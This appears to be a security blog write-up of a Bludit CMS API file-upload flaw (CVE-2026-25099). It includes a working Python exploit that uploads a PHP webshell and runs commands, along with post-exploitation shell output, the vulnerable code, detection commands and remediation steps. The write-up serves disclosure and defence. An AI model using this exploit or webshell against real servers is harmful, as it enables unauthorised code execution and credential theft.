Bludit CMS versions before 3.18.4 ship with an API plugin that accepts file uploads of any type:
including PHP – through the POST /api/files/<page-key> endpoint. No extension filtering, no content-type validation, no restrictions at all. An authenticated user with a valid API token uploads a PHP webshell, browses to it, and has remote code execution as www-data.
The vulnerability was patched in version 3.18.4. Below is a working proof-of-concept and the technical breakdown of the vulnerable code path.
What CVE-2026-25099 Actually Does
- Bludit’s API plugin exposes a POST /api/files/<page-key> endpoint that accepts file uploads.
- The uploadFile() function in the plugin takes the uploaded file and moves it directly to /bl-content/uploads/pages/<page-key>/ using Filesystem::mv().
- No checks on the file extension. No checks on the MIME type. No checks on the content.
An attacker with a valid API token sends a multipart POST request with a .php file. The server stores it in a publicly accessible directory. Then it’s just a matter of browsing to it – the webserver executes the PHP, and the attacker has a shell running as www-data.
Affected Versions
- Vulnerable: Bludit < 3.18.4 with API plugin enabled
- Fixed: Bludit 3.18.4
- Prerequisite: Valid API token (visible to admin users in the plugin settings)
The Exploit
The PoC does three things: fetches a valid page key from the API, uploads a PHP webshell to that page’s upload directory, then confirms code execution by running id through the shell.
#!/usr/bin/env python3
"""
CVE-2026-25099 — Bludit CMS API Unrestricted File Upload to RCE
Affected: Bludit < 3.18.4
Fixed: Bludit 3.18.4
"""
import argparse
import requests
import sys
import random
import string
def get_page_key(base_url, token):
"""Get a valid page key to upload files to."""
r = requests.get(f"{base_url}/api/pages", params={"token": token})
if r.status_code != 200:
print(f"[-] Failed to list pages: HTTP {r.status_code}")
return None
data = r.json()
if data.get("data") and len(data["data"]) > 0:
return data["data"][0]["key"]
return None
def upload_shell(base_url, token, page_key):
"""Upload a PHP webshell via the API — no extension validation."""
shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
shell_content = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>'
r = requests.post(
f"{base_url}/api/files/{page_key}",
data={"token": token},
files={"file": (shell_name, shell_content, "application/x-php")}
)
if r.status_code == 200 and r.json().get("status") == "0":
shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
return shell_url
return None
def execute(shell_url, cmd):
r = requests.get(shell_url, params={"cmd": cmd})
return r.text.strip() if r.status_code == 200 else None
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
parser.add_argument("-t", "--token", required=True)
parser.add_argument("-c", "--command", default="id")
args = parser.parse_args()
page_key = get_page_key(args.url, args.token)
if not page_key:
sys.exit("[-] No pages found")
print(f"[+] Page key: {page_key}")
shell_url = upload_shell(args.url, args.token, page_key)
if not shell_url:
sys.exit("[-] Upload failed")
print(f"[+] Shell: {shell_url}")
output = execute(shell_url, args.command)
print(f"[+] Output: {output}")
Post-Exploitation
With the webshell uploaded, you get full filesystem access as www-data. You can read the Bludit configuration, extract stored credentials, and pivot from there.
shell> whoami
www-data
shell> grep BLUDIT_VERSION /var/www/html/bl-kernel/boot/init.php
define('BLUDIT_VERSION', '3.18.2');
shell> cat /var/www/html/bl-content/databases/site.php | grep title
"title": "BLUDIT"
shell> ls /var/www/html/bl-plugins/
about alternative api canonical robots tinymce visits-stats
Why This Happens
Looking at the vulnerable code in bl-plugins/api/plugin.php, the uploadFile() function does exactly one thing – moves the uploaded file to the target directory:
private function uploadFile($pageKey)
{
// No extension check
// No MIME type validation
// No content inspection
$filename = $_FILES['file']['name'];
$absolutePath = PATH_UPLOADS_PAGES . $pageKey . DS . $filename;
Filesystem::mv($_FILES['file']['tmp_name'], $absolutePath);
// File is now in a web-accessible directory, ready to execute
}
Compare that to the uploadImage() function in the same file – it at least runs the file through transformImage(), which would reject a PHP file. The file upload endpoint skips all of that. The filename is taken straight from $_FILES[‘file’][‘name’] and the file is dropped as-is.
Detection
If you’re running Bludit with the API plugin, check your web server access logs for POST requests to /api/files/ endpoints. Any request uploading a .php, .phtml, or .phar file is a red flag.
# Check Apache logs for suspicious file uploads
grep -E "POST.*/api/files/" /var/log/apache2/access.log
# Look for PHP files in the uploads directory
find /var/www/html/bl-content/uploads -name "*.php" -o -name "*.phtml" -o -name "*.phar"
# Check for webshell indicators
grep -r "system\|exec\|passthru\|shell_exec" /var/www/html/bl-content/uploads/
Sigma rules for webshell detection would also catch the post-exploitation phase. If you’re monitoring file creation events in web application directories, any new .php file appearing in an uploads folder should trigger an alert. I wrote about how attackers establish footholds through exactly this kind of vulnerability in a previous post.
Remediation
- Update to Bludit 3.18.4 or later. The fix adds file extension validation to the upload endpoint.
- If you can’t update immediately: disable the API plugin from the admin panel. The vulnerability is only exploitable when the plugin is active.
- Restrict API token access. The token is visible to anyone with admin panel access. Rotate it regularly and audit who has admin credentials.
- Monitor uploads directory. Set up file integrity monitoring on /bl-content/uploads/ to catch any unexpected file types.

